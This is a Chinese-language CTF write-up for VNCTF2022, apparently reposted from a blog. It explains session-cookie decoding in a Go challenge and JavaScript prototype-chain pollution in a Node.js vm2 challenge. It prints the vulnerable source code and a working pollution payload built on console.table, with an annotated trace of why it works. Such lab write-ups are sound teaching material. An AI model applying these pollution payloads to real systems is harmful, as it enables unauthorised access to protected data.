本文主要是介绍VNCTF2022公开赛,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
GameV4.0
耐心
gocalc0
00x1非预期解
点击
把session拿去解码一下(末尾有==base64解码一下)
两次编码就出来了(本来我以为)
00x2预期解
此方法不大清楚
讲解处
package mainimport (_ "embed""fmt""os""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin"
)func main() {port := os.Getenv("PORT")if port == "" {port = "8088"}r := gin.Default()store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))r.Use(sessions.Sessions("session", store))r.GET("/flag", func(c *gin.Context) {session := sessions.Default(c)c.String(200, session.Get("FLAG").(string))})r.Run(fmt.Sprintf(":%s", port))
}
newcalc0
原型链污染:
function Foo() {this.bar = 1
}Foo.prototype.show = function show() {console.log(this.bar)
}let foo = new Foo()
foo.show()
我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。
我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
总结:
1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性
并且:
所有类对象在实例化的时候将会拥有prototype中的属性和方法
而原型链污染就是通过对prototype的改变,控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
详细讲解
源码:
const express = require("express");//require用于从外部获取一个模块的接口
const path = require("path");
const vm2 = require("vm2");const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());app.use(express.static("static"));const vm = new vm2.NodeVM();//VM 模块是 NodeJS 里面的核心模块,支撑了 require 方法和 NodeJS 的运行机制app.use("/eval", (req, res) => {const e = req.body.e;//req.body通常用来解析POST请求中的数据//这里的e获取输入框中的内容if (!e) {//如果不存在则向模板写入一个数据wrongres.send("wrong?");return;}try {res.send(vm.run("module.exports="+e)?.toString() ?? "no");//module.exports把一个对象封装到模块中,这样在其他的文件中就可以以调用模块的方式调用它} catch (e) {console.log(e)res.send("wrong?");//向模板发送数据}
});//console.table([{a:1}],['__proto__'])app.use("/flag", (req, res) => {if(Object.keys(Object.prototype).length > 0) {//Object.keys方法会返回一个由一个给定对象的自身可枚举属性组成的数组,数组中属性名的排列顺序和正常循环遍历该对象时返回的顺序一致 。//这边是要object类的属性个数要大于0Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);//k为键名,删除属性的值res.send(process.env.FLAG);// process.env属性返回包含用户环境的对象} else {res.send(Object.keys(Object.prototype));}
})app.use("/source", (req, res) => {let p = req.query.path || "/src/index.js";p = path.join(path.resolve("."), path.resolve(p));console.log(p);res.sendFile(p);
});app.use((err, req, res, next) => {console.log(err)res.redirect("index.html");
});app.listen(process.env.PORT || 8888);
payload:
console.table([{a:1}],['__proto__'])
console.table(data, properties);参数:该方法接受上述和以下所述的两个参数:
data:表格数据。每行数据的数组,其中包含该特定行的每一列的值。
properties:它指定用于构造表的属性。此方法不会返回任何内容,但会打印构造的表并记录下来。如果无法将参数解析到表中,则仅记录参数。
使用 console.table 方法将它以一个漂亮的表格的形式打印出来。会根据数组中包含的对象的所有属性
console.table源码:
// tabularData 是第一个参数 [{a:1}]
// properties 是第二个参数 ["__proto__"]
const map = ObjectCreate(null);
//ObjectCreate创建新对象,第一个参数是要继承的原型,这里没有要继承的原型
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);//表格数据,也就是[{a:1}]for (; i < indexKeyArray.length; i++) {const item = tabularData[indexKeyArray[i]];const primitive = item === null ||(typeof item !== 'function' && typeof item !== 'object');if (properties === undefined && primitive) {//因为我们的properties键名设置了,所以properties !== undefinedhasPrimitives = true;valuesKeyArray[i] = _inspect(item);} else {const keys = properties || ObjectKeys(item);//key 是 __proto__ for (const key of keys) {if (map[key] === undefined)map[key] = [];// !ObjectPrototypeHasOwnProperty(item, key) 成立if ((primitive && properties) ||!ObjectPrototypeHasOwnProperty(item, key))// 因此 map[__proto__][0] 是空字串map[key][i] = '';elsemap[key][i] = _inspect(item[key]);}}
}
这篇关于VNCTF2022公开赛的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!